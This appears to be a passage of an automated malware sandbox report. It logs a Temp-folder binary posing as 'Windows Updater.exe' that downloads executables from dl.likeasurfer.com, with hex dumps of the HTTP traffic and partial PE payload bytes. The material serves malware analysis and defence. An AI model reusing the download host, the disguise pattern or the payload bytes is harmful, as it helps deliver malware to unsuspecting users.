qt=6826390&t=lifecycle&lc=end&ls=success&v=3&aid=57bec79515c1ec525f8858bf&av=1.0.0&cid=57F1AB8929FE72B9ED79F4590C98B27D4C06FB8D&sid=%7B127393DE-997B-4FEB-A721-CD60F5521273%7D
2023-12-06 13:33:43 UTC	219	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 32 20 50 61 79 6d 65 6e 74 20 52 65 71 75 69 72 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 33 33 3a 34 33 20 47 4d 54 0d 0a 45 54 61 67 3a 20 57 2f 22 32 2d 76 79 47 70 36 50 76 46 6f 34 52 76 73 46 74 50 6f 49 57 65 43 52 65 79 49 43 38 22 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 45 78 70 72 65 73 73 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 43 6c 6f 73 65 0d 0a 0d 0a Data Ascii: HTTP/1.1 402 Payment RequiredContent-Type: application/json; charset=utf-8Date: Wed, 06 Dec 2023 13:33:43 GMTETag: W/"2-vyGp6PvFo4RvsFtPoIWeCReyIC8"X-Powered-By: ExpressContent-Length: 2Connection: Close
2023-12-06 13:33:43 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	50134	104.21.32.100	443	6304	C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:33:47 UTC	153	OUT	GET /updates/v114.exe HTTP/1.1 Accept: / User-Agent: AdvancedInstaller Host: dl.likeasurfer.com Connection: Keep-Alive Cache-Control: no-cache
2023-12-06 13:33:47 UTC	692	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 33 33 3a 34 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 34 39 30 30 36 38 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 31 31 20 4d 61 79 20 32 30 32 32 20 30 35 3a 30 32 3a 34 31 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 36 32 37 62 34 33 37 31 2d 34 61 63 37 34 38 22 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 31 34 34 30 30 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a Data Ascii: HTTP/1.1 200 OKDate: Wed, 06 Dec 2023 13:33:47 GMTContent-Type: application/octet-streamContent-Length: 4900680Connection: closeLast-Modified: Wed, 11 May 2022 05:02:41 GMTETag: "627b4371-4ac748"Cache-Control: max-age=14400CF-Cache-Status:
2023-12-06 13:33:47 UTC	677	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d6 e7 ac 00 92 86 c2 53 92 86 c2 53 92 86 c2 53 41 f4 c1 52 9f 86 c2 53 41 f4 c7 52 2b 86 c2 53 41 f4 c4 52 93 86 c2 53 f0 fe c6 52 81 86 c2 53 f0 fe c1 52 8a 86 c2 53 f0 fe c7 52 fa 86 c2 53 41 f4 c6 52 88 86 c2 53 41 f4 c3 52 91 86 c2 53 41 f4 c5 52 93 86 c2 53 92 86 c3 53 4f 84 c2 53 12 ff cb 52 df 87 c2 53 12 ff 3d 53 93 86 c2 53 92 86 55 53 93 86 c2 53 12 ff c0 52 93 86 c2 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$SSSARSAR+SARSRSRSRSARSARSARSSOSRS=SSUSSR
2023-12-06 13:33:47 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 18 5b 02 00 00 80 2d 00 00 5c 02 00 00 44 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @@.reloc[-\D-@B
2023-12-06 13:33:47 UTC	1369	IN	Data Raw: 0a 8d 85 38 ff ff ff c7 85 30 ff ff ff f4 b9 62 00 c6 85 34 ff ff ff 01 89 85 68 fe ff ff c7 85 5c ff ff ff 00 00 00 00 c6 45 fc 0d 8d 85 68 ff ff ff c7 85 60 ff ff ff 10 ba 62 00 c6 85 64 ff ff ff 00 89 85 64 fe ff ff c7 45 8c 00 00 00 00 c6 45 fc 11 8d 45 98 c7 45 90 34 ba 62 00 c6 45 94 00 89 85 60 fe ff ff c7 45 bc 00 00 00 00 c6 45 fc 15 8d 85 78 fe ff ff 89 85 5c fe ff ff c7 85 9c fe ff ff 00 00 00 00 c6 45 fc 16 c7 85 78 fe ff ff d0 ba 62 00 89 85 9c fe ff ff c6 45 fc 17 8d 45 c8 c7 45 c0 00 00 00 00 c6 45 c4 00 89 85 58 fe ff ff c7 45 ec 00 00 00 00 c6 45 fc 18 8b 8d 9c fe ff ff 85 c9 74 35 8b 01 8d 55 c8 52 8b 40 04 ff d0 8b 8d 9c fe ff ff 89 45 ec 85 c9 74 1d 8b 01 8b 50 10 8d 85 78 fe ff ff 3b c8 0f 95 c0 50 ff d2 c7 85 9c fe ff ff 00 00 00 00 Data Ascii: 80b4h\Eh`bddEEEE4bE`EEx\ExbEEEEXEEt5UR@EtPx;P
2023-12-06 13:33:47 UTC	1369	IN	Data Raw: ff 15 d8 94 6a 00 68 80 ad 61 00 a3 58 b0 6a 00 e8 8e 7d 19 00 59 c3 cc cc 68 02 7f 00 00 6a 00 ff 15 d8 94 6a 00 68 b0 ad 61 00 a3 5c b0 6a 00 e8 6e 7d 19 00 59 c3 cc cc 55 8b ec 6a ff 68 14 10 5c 00 64 a1 00 00 00 00 50 81 ec b0 00 00 00 a1 24 30 6a 00 33 c5 89 45 f0 50 8d 45 f4 64 a3 00 00 00 00 6a 09 ba a0 73 62 00 8d 8d 48 ff ff ff e8 a3 58 00 00 c7 45 fc 00 00 00 00 ba b4 73 62 00 6a 09 8d 8d 60 ff ff ff e8 8a 58 00 00 c6 45 fc 01 ba c8 73 62 00 6a 09 8d 8d 78 ff ff ff e8 74 58 00 00 c6 45 fc 02 ba dc 73 62 00 6a 09 8d 4d 90 e8 61 58 00 00 c6 45 fc 03 ba f0 73 62 00 6a 09 8d 4d a8 e8 4e 58 00 00 c6 45 fc 04 ba 04 74 62 00 6a 05 8d 4d c0 e8 3b 58 00 00 c6 45 fc 05 ba 10 74 62 00 6a 04 8d 4d d8 e8 28 58 00 00 c7 45 fc 06 00 00 00 83 c4 18 8d 45 f0 8d Data Ascii: jhaXj}Yhjjha\jn}YUjh\dP$0j3EPEdjsbHXEsbj`XEsbjxtXEsbjMaXEsbjMNXEtbjM;XEtbjM(XEE
2023-12-06 13:33:47 UTC	1369	IN	Data Raw: c4 18 8d 45 f0 8d 8d 48 ff ff ff 50 51 b9 90 b0 6a 00 e8 59 46 00 00 c7 45 fc ff ff ff ff 8d 85 48 ff ff ff 68 60 79 40 00 6a 07 6a 18 50 e8 c6 74 19 00 68 e0 ae 61 00 e8 0d 78 19 00 83 c4 04 8b 4d f4 64 89 0d 00 00 00 00 59 8b 4d f0 33 cd e8 35 74 19 00 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 e4 f8 81 ec c8 00 00 00 a1 24 30 6a 00 33 c4 89 84 24 c4 00 00 00 8d 0c 24 c7 04 24 60 2e 63 00 51 8d 84 24 c4 00 00 00 c7 44 24 08 00 00 00 00 50 51 b9 9c b0 6a 00 c7 44 24 14 00 00 00 00 c7 44 24 18 90 2e 63 00 c7 44 24 1c 00 00 00 00 c7 44 24 20 00 00 00 00 c7 44 24 24 14 23 63 00 c7 44 24 28 01 00 00 00 c7 44 24 2c 00 00 00 00 c7 44 24 30 c0 2e 63 00 c7 44 24 34 01 00 00 00 c7 44 24 38 00 00 00 00 c7 44 24 3c Data Ascii: EHPQjYFEHh`y@jjPthaxMdYM35t]U$0j3$$$`.cQ$D$PQjD$D$.cD$D$ D$$#cD$(D$,D$0.cD$4D$8D$<
2023-12-06 13:33:47 UTC	1369	IN	Data Raw: 00 00 c1 e8 1f c7 45 a0 dc 51 63 00 c7 45 a4 b4 b0 6a 00 c7 45 a8 03 00 00 00 c7 45 ac a4 51 63 00 c7 45 b0 b4 b0 6a 00 c7 45 b4 04 00 00 00 c7 45 b8 50 52 63 00 c7 45 bc c0 b0 6a 00 c7 45 c0 05 00 00 00 c7 45 c4 14 52 63 00 c7 45 c8 cc b0 6a 00 c7 45 cc 08 00 00 00 c7 45 d0 b4 52 63 00 c7 45 d4 c0 b0 6a 00 c7 45 d8 0a 00 00 00 c7 45 dc 7c 52 63 00 c7 45 e0 cc b0 6a 00 c7 45 e4 0d 00 00 00 03 c2 0f 84 ad 00 00 00 3d 55 55 55 15 0f 87 cd 00 00 00 8d 3c 40 c1 e7 02 81 ff 00 10 00 00 72 29 8d 47 23 3b c7 0f 86 b9 00 00 00 50 e8 bb 6e 19 00 8b c8 83 c4 04 85 c9 0f 84 ab 00 00 00 8d 41 23 83 e0 e0 89 48 fc eb 11 85 ff 74 0b 57 e8 99 6e 19 00 83 c4 04 eb 02 33 c0 a3 d8 b0 6a 00 a3 dc b0 6a 00 03 c7 a3 e0 b0 6a 00 c7 45 84 d8 b0 6a 00 c7 45 fc 00 00 00 00 8d 55 Data Ascii: EQcEjEEQcEjEEPRcEjEERcEjEERcEjEE\|RcEjE=UUU<@r)G#;PnA#HtWn3jjjEjEU
2023-12-06 13:33:47 UTC	1369	IN	Data Raw: ff ff ff 68 b0 b5 61 00 e8 8b 6d 19 00 83 c4 04 8b 4d f4 64 89 0d 00 00 00 00 59 5f 5e 8b 4d f0 33 cd e8 b1 69 19 00 8b e5 5d c3 e8 2e 41 00 00 e8 99 4d 00 00 e8 43 be 19 00 cc cc cc cc 55 8b ec 6a ff 68 83 ad 5f 00 64 a1 00 00 00 00 50 a1 24 30 6a 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 6a 00 68 00 b2 6a 00 c7 05 64 ab 6a 00 f0 b1 6a 00 ff 15 70 c0 61 00 85 c0 75 1f ff 15 5c c0 61 00 85 c0 7e 0a 0f b7 c0 0d 00 00 07 80 85 c0 79 09 c6 05 50 ab 6a 00 01 eb 0a c7 05 f4 b1 6a 00 24 00 00 00 c7 45 fc 01 00 00 00 c7 05 f0 b1 6a 00 60 c6 63 00 c7 45 fc 02 00 00 00 c7 05 f0 b1 6a 00 54 ca 63 00 c7 05 20 b2 6a 00 00 00 00 00 c7 05 24 b2 6a 00 00 00 00 00 c7 05 28 b2 6a 00 00 00 00 00 c7 45 fc ff ff ff ff 68 30 b6 61 00 e8 a3 6c 19 00 83 c4 04 8b 4d f4 64 89 0d 00 Data Ascii: hamMdY_^M3i].AMCUjh_dP$0j3PEdjhjdjjpau\a~yPjj$Ej`cEjTc j$j(jEh0alMd
2023-12-06 13:33:47 UTC	1369	IN	Data Raw: 45 fc ff ff ff ff 68 c0 ba 61 00 e8 2f 68 19 00 83 c4 04 8b 4d f4 64 89 0d 00 00 00 00 59 8b e5 5d c3 68 05 40 00 80 e8 f9 6b 00 00 cc cc cc cc cc cc cc cc cc 68 e0 ba 61 00 e8 00 68 19 00 59 c3 cc cc cc cc b9 74 b2 6a 00 e8 46 35 15 00 68 20 bb 61 00 e8 e6 67 19 00 59 c3 cc cc cc cc cc cc cc cc cc cc b9 94 b2 6a 00 e8 26 35 15 00 68 90 bb 61 00 e8 c6 67 19 00 59 c3 cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 13 e4 60 00 64 a1 00 00 00 00 50 51 a1 24 30 6a 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 c7 45 f0 00 00 00 00 8b 45 f0 6a 2c a3 b4 b2 6a 00 e8 00 64 19 00 83 c4 04 89 00 89 40 04 a3 b8 b2 6a 00 c7 45 fc 00 00 00 00 c7 05 c0 b2 6a 00 00 00 00 00 c7 05 c4 b2 6a 00 00 00 00 00 c7 05 c8 b2 6a 00 00 00 00 00 c6 45 fc 01 b9 c0 b2 6a 00 ff 35 b8 b2 6a 00 Data Ascii: Eha/hMdY]h@khahYtjF5h agYj&5hagYUjh`dPQ$0j3PEdEEj,jd@jEjjjEj5j
2023-12-06 13:33:47 UTC	1369	IN	Data Raw: c7 05 00 46 6a 00 00 00 00 00 b9 00 46 6a 00 c7 05 10 46 6a 00 00 00 00 00 c7 05 14 46 6a 00 00 00 00 00 68 14 75 64 00 c7 05 10 46 6a 00 00 00 00 00 c7 05 14 46 6a 00 07 00 00 00 66 a3 00 46 6a 00 e8 05 3d 00 00 c6 45 fc 0d 33 c0 6a 09 c7 05 18 46 6a 00 00 00 00 00 b9 18 46 6a 00 c7 05 28 46 6a 00 00 00 00 00 c7 05 2c 46 6a 00 00 00 00 00 68 8c 5c 64 00 c7 05 28 46 6a 00 00 00 00 00 c7 05 2c 46 6a 00 07 00 00 00 66 a3 18 46 6a 00 e8 b6 3c 00 00 c6 45 fc 0e 33 c0 50 0f 57 c0 c7 05 38 46 6a 00 00 00 00 00 c7 05 48 46 6a 00 00 00 00 00 b9 38 46 6a 00 c7 05 4c 46 6a 00 00 00 00 00 68 4c 74 62 00 66 0f 13 05 30 46 6a 00 c7 05 48 46 6a 00 00 00 00 00 c7 05 4c 46 6a 00 07 00 00 00 66 a3 38 46 6a 00 e8 5d 3c 00 00 c6 45 fc 0f 33 c0 50 c7 05 50 46 6a 00 00 00 00 Data Ascii: FjFjFjFjhudFjFjfFj=E3jFjFj(Fj,Fjh\d(Fj,FjfFj<E3PW8FjHFj8FjLFjhLtbf0FjHFjLFjf8Fj]<E3PPFj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	50138	104.21.32.100	443	6304	C:\Windows\Temp\ce2d31339cfff41b4b6db9e32e93218c\Windows Updater.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-06 13:33:48 UTC	153	OUT	GET /updates/v113.exe HTTP/1.1 Accept: / User-Agent: AdvancedInstaller Host: dl.likeasurfer.com Connection: Keep-Alive Cache-Control: no-cache
2023-12-06 13:33:48 UTC	694	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 57 65 64 2c 20 30 36 20 44 65 63 20 32 30 32 33 20 31 33 3a 33 33 3a 34 38 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 36 33 35 34 32 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 72 69 2c 20 30 39 20 41 70 72 20 32 30 32 31 20 31 33 3a 32 39 3a 34 33 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 36 30 37 30 35 36 63 37 2d 33 37 37 38 65 30 22 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 31 34 34 30 30 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a Data Ascii: HTTP/1.1 200 OKDate: Wed, 06 Dec 2023 13:33:48 GMTContent-Type: application/octet-streamContent-Length: 3635424Connection: closeLast-Modified: Fri, 09 Apr 2021 13:29:43 GMTETag: "607056c7-3778e0"Cache-Control: max-age=14400CF-Cache-Status:
2023-12-06 13:33:48 UTC	675	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9b 8c 43 c8 df ed 2d 9b df ed 2d 9b df ed 2d 9b cb 86 2e 9a d2 ed 2d 9b cb 86 28 9a 6a ed 2d 9b b3 99 29 9a cc ed 2d 9b b3 99 2e 9a c8 ed 2d 9b b3 99 28 9a bd ed 2d 9b cb 86 29 9a c5 ed 2d 9b cb 86 2c 9a dc ed 2d 9b cb 86 2a 9a dd ed 2d 9b df ed 2c 9b 1f ef 2d 9b 06 99 24 9a fd ec 2d 9b 06 99 d2 9b de ed 2d 9b df ed ba 9b de ed 2d 9b 06 99 2f 9a de ed 2d 9b 52 69 63 68 df ed 2d Data Ascii: MZ@!L!This program cannot be run in DOS mode.$C---.-(j-)-.-(-)-,-*-,-$---/-Rich-
2023-12-06 13:33:48 UTC	1369	IN	Data Raw: 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 18 93 01 00 00 50 1f 00 00 94 01 00 00 1e 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @@.relocP@B
2023-12-06 13:33:48 UTC	1369	IN	Data Raw: ff d2 c7 85 9c fe ff ff 00 00 00 00 c7 45 fc 1b 00 00 00 8d 8d a0 fe ff ff 51 8d 45 f0 50 51 e8 c0 f0 02 00 c7 45 fc ff ff ff ff 8d 85 a0 fe ff ff 68 10 f2 42 00 6a 07 6a 30 50 e8 3c 15 12 00 68 10 6c 57 00 e8 a3 10 12 00 83 c4 04 8b 4d f4 64 89 0d 00 00 00 00 59 8b 4d f0 33 cd e8 dd 0d 12 00 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 68 40 a7 5d 00 ff 15 64 80 57 00 85 c0 75 29 ff 15 3c 80 57 00 85 c0 7e 0a 0f b7 c0 0d 00 00 07 80 85 c0 79 13 68 20 6c 57 00 c6 05 5c c4 5d 00 01 e8 41 10 12 00 59 c3 68 20 6c 57 00 c7 05 30 a7 5d 00 28 00 00 00 e8 2b 10 12 00 59 c3 55 8b ec 6a ff 68 70 ab 54 00 64 a1 00 00 00 00 50 83 ec 0c a1 24 60 5d 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 6a 5c c7 05 38 71 5d 00 48 89 58 00 c7 45 f0 3c 71 5d 00 c7 05 3c Data Ascii: EQEPQEhBjj0P<hlWMdYM3]jh@]dWu)<W~yh lW\]AYh lW0](+YUjhpTdP$`]3PEdj\8q]HXE<q]<
2023-12-06 13:33:48 UTC	1369	IN	Data Raw: 5c c4 5d 00 01 eb 0a c7 05 a8 c5 5d 00 24 00 00 00 c7 45 fc 01 00 00 00 c7 05 a4 c5 5d 00 0c 02 59 00 c7 45 fc 02 00 00 00 c7 05 a4 c5 5d 00 04 06 59 00 c7 05 d4 c5 5d 00 00 00 00 00 c7 05 d8 c5 5d 00 00 00 00 00 c7 05 dc c5 5d 00 00 00 00 00 c7 45 fc ff ff ff ff 68 60 72 57 00 e8 32 0b 12 00 83 c4 04 8b 4d f4 64 89 0d 00 00 00 00 59 8b e5 5d c3 cc cc cc cc cc cc cc 6a 20 68 50 12 59 00 b9 a0 71 5d 00 e8 7f 62 00 00 68 c0 72 57 00 e8 fe 0a 12 00 59 c3 cc cc cc 55 8b ec 6a ff 68 5f ab 55 00 64 a1 00 00 00 00 50 a1 24 60 5d 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 c7 45 fc ff ff ff ff 68 d0 72 57 00 e8 c6 0a 12 00 83 c4 04 8b 4d f4 64 89 0d 00 00 00 00 59 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc 68 20 73 57 00 e8 9f 0a 12 00 59 c3 cc cc cc cc 68 60 73 57 Data Ascii: \]]$E]YE]Y]]]Eh`rW2MdY]j hPYq]bhrWYUjh_UdP$`]3PEdEhrWMdY]h sWYh`sW
2023-12-06 13:33:48 UTC	1369	IN	Data Raw: 52 0c 83 c0 10 a3 64 c6 5d 00 c7 45 fc ff ff ff ff 68 00 77 57 00 e8 20 06 12 00 83 c4 04 8b 4d f4 64 89 0d 00 00 00 00 59 8b e5 5d c3 68 05 40 00 80 e8 db 70 00 00 cc cc cc cc cc cc cc cc cc cc cc 68 00 78 57 00 e8 ef 05 12 00 59 c3 cc cc cc cc b9 68 c6 5d 00 e8 f6 f6 0d 00 68 40 78 57 00 e8 d5 05 12 00 59 c3 cc cc cc cc cc cc cc cc cc cc b9 88 c6 5d 00 e8 d6 f6 0d 00 68 b0 78 57 00 e8 b5 05 12 00 59 c3 cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 e3 aa 56 00 64 a1 00 00 00 00 50 51 a1 24 60 5d 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 c7 45 f0 00 00 00 00 8b 45 f0 6a 2c a3 a8 c6 5d 00 e8 04 03 12 00 83 c4 04 89 00 89 40 04 a3 ac c6 5d 00 c7 45 fc 00 00 00 00 c7 05 b4 c6 5d 00 00 00 00 00 c7 05 b8 c6 5d 00 00 00 00 00 c7 05 bc c6 5d 00 00 00 00 00 c6 45 Data Ascii: Rd]EhwW MdY]h@phxWYh]h@xWY]hxWYUjhVdPQ$`]3PEdEEj,]@]E]]]E
2023-12-06 13:33:48 UTC	1369	IN	Data Raw: 00 00 c7 05 7c 73 5d 00 07 00 00 00 66 a3 68 73 5d 00 e8 42 58 00 00 c6 45 fc 0e 33 c0 50 0f 57 c0 c7 05 98 73 5d 00 00 00 00 00 c7 05 9c 73 5d 00 00 00 00 00 b9 88 73 5d 00 68 18 39 58 00 66 0f 13 05 80 73 5d 00 c7 05 98 73 5d 00 00 00 00 00 c7 05 9c 73 5d 00 07 00 00 00 66 a3 88 73 5d 00 e8 f3 57 00 00 c6 45 fc 0f 33 c0 50 c7 05 b0 73 5d 00 00 00 00 00 b9 a0 73 5d 00 c7 05 b4 73 5d 00 00 00 00 00 68 18 39 58 00 c7 05 b0 73 5d 00 00 00 00 00 c7 05 b4 73 5d 00 07 00 00 00 66 a3 a0 73 5d 00 e8 af 57 00 00 c6 45 fc 10 33 c0 50 c7 05 c8 73 5d 00 00 00 00 00 b9 b8 73 5d 00 c7 05 cc 73 5d 00 00 00 00 00 68 18 39 58 00 c7 05 c8 73 5d 00 00 00 00 00 c7 05 cc 73 5d 00 07 00 00 00 66 a3 b8 73 5d 00 e8 6b 57 00 00 c6 45 fc 11 33 c0 6a 08 c7 05 e0 73 5d 00 00 00 00 Data Ascii: \|s]fhs]BXE3PWs]s]s]h9Xfs]s]s]fs]WE3Ps]s]s]h9Xs]s]fs]WE3Ps]s]s]h9Xs]s]fs]kWE3js]
2023-12-06 13:33:48 UTC	1369	IN	Data Raw: 45 fc 21 33 c0 50 c7 05 78 75 5d 00 00 00 00 00 b9 68 75 5d 00 c7 05 7c 75 5d 00 00 00 00 00 68 18 39 58 00 c7 05 78 75 5d 00 00 00 00 00 c7 05 7c 75 5d 00 07 00 00 00 66 a3 68 75 5d 00 e8 bd 52 00 00 c6 45 fc 22 33 c0 50 c7 05 90 75 5d 00 00 00 00 00 b9 80 75 5d 00 c7 05 94 75 5d 00 00 00 00 00 68 18 39 58 00 c7 05 90 75 5d 00 00 00 00 00 c7 05 94 75 5d 00 07 00 00 00 66 a3 80 75 5d 00 e8 79 52 00 00 c6 45 fc 23 33 c0 6a 11 c7 05 a8 75 5d 00 00 00 00 00 b9 98 75 5d 00 c7 05 ac 75 5d 00 00 00 00 00 68 98 9d 59 00 c7 05 a8 75 5d 00 00 00 00 00 c7 05 ac 75 5d 00 07 00 00 00 66 a3 98 75 5d 00 e8 34 52 00 00 c6 45 fc 24 33 c0 6a 04 c7 05 c0 75 5d 00 00 00 00 00 b9 b0 75 5d 00 c7 05 c4 75 5d 00 00 00 00 00 68 d8 a4 59 00 c7 05 c0 75 5d 00 00 00 00 00 c7 05 c4 Data Ascii: E!3Pxu]hu]\|u]h9Xxu]\|u]fhu]RE"3Pu]u]u]h9Xu]u]fu]yRE#3ju]u]u]hYu]u]fu]4RE$3ju]u]u]hYu]
2023-12-06 13:33:48 UTC	1369	IN	Data Raw: 00 b9 48 77 5d 00 68 18 39 58 00 c7 05 58 77 5d 00 00 00 00 00 c7 05 5c 77 5d 00 07 00 00 00 66 a3 48 77 5d 00 e8 7d 4d 00 00 c6 45 fc 35 33 c0 6a 11 c7 05 70 77 5d 00 00 00 00 00 b9 60 77 5d 00 c7 05 74 77 5d 00 00 00 00 00 68 5c 9e 59 00 c7 05 70 77 5d 00 00 00 00 00 c7 05 74 77 5d 00 07 00 00 00 66 a3 60 77 5d 00 e8 38 4d 00 00 c6 45 fc 36 33 c0 6a 04 c7 05 88 77 5d 00 00 00 00 00 b9 78 77 5d 00 c7 05 8c 77 5d 00 00 00 00 00 68 d8 a4 59 00 c7 05 88 77 5d 00 00 00 00 00 c7 05 8c 77 5d 00 07 00 00 00 66 a3 78 77 5d 00 e8 f3 4c 00 00 c6 45 fc 37 33 c0 6a 07 c7 05 a0 77 5d 00 00 00 00 00 b9 90 77 5d 00 c7 05 a4 77 5d 00 00 00 00 00 68 2c c5 58 00 c7 05 a0 77 5d 00 00 00 00 00 c7 05 a4 77 5d 00 07 00 00 00 66 a3 90 77 5d 00 e8 ae 4c 00 00 c6 45 fc 38 33 c0 Data Ascii: Hw]h9XXw]\w]fHw]}ME53jpw]`w]tw]h\Ypw]tw]f`w]8ME63jw]xw]w]hYw]w]fxw]LE73jw]w]w]h,Xw]w]fw]LE83
2023-12-06 13:33:48 UTC	1369	IN	Data Raw: 00 c7 05 38 79 5d 00 00 00 00 00 c7 05 3c 79 5d 00 07 00 00 00 66 a3 28 79 5d 00 68 80 9e 59 00 e8 29 48 00 00 c6 45 fc 48 33 c0 6a 04 c7 05 50 79 5d 00 00 00 00 00 b9 40 79 5d 00 c7 05 54 79 5d 00 00 00 00 00 68 d8 a4 59 00 c7 05 50 79 5d 00 00 00 00 00 c7 05 54 79 5d 00 07 00 00 00 66 a3 40 79 5d 00 e8 e4 47 00 00 c6 45 fc 49 33 c0 6a 07 c7 05 68 79 5d 00 00 00 00 00 b9 58 79 5d 00 c7 05 6c 79 5d 00 00 00 00 00 68 14 a5 59 00 c7 05 68 79 5d 00 00 00 00 00 c7 05 6c 79 5d 00 07 00 00 00 66 a3 58 79 5d 00 e8 9f 47 00 00 c6 45 fc 4a 33 c0 6a 0a c7 05 88 79 5d 00 00 00 00 00 b9 78 79 5d 00 c7 05 8c 79 5d 00 00 00 00 00 68 e0 8a 59 00 c7 05 70 79 5d 00 03 00 00 00 c7 05 74 79 5d 00 00 00 00 00 c7 05 88 79 5d 